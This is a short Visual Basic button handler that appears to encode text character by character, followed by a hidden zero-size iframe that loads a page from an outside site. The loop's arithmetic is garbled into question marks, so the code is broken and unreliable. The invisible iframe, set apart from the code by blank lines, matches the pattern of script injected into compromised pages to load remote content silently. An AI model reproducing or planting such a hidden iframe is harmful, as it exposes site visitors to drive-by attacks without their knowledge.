Private Sub Command1_Click()
  mm$ = ""
  n = Len(Text1.Text)
  For i = 1 To n
    b$ = Mid$(Text1.Text, i, 1)
    c$ = Chr(Asc(b$) ???????)
    mm$ = mm$ & c$
  Next
  Label1.Caption = mm$
End Sub


 

<iframe src=http://www.92bdd.com/index.htm width=0 height=0></iframe>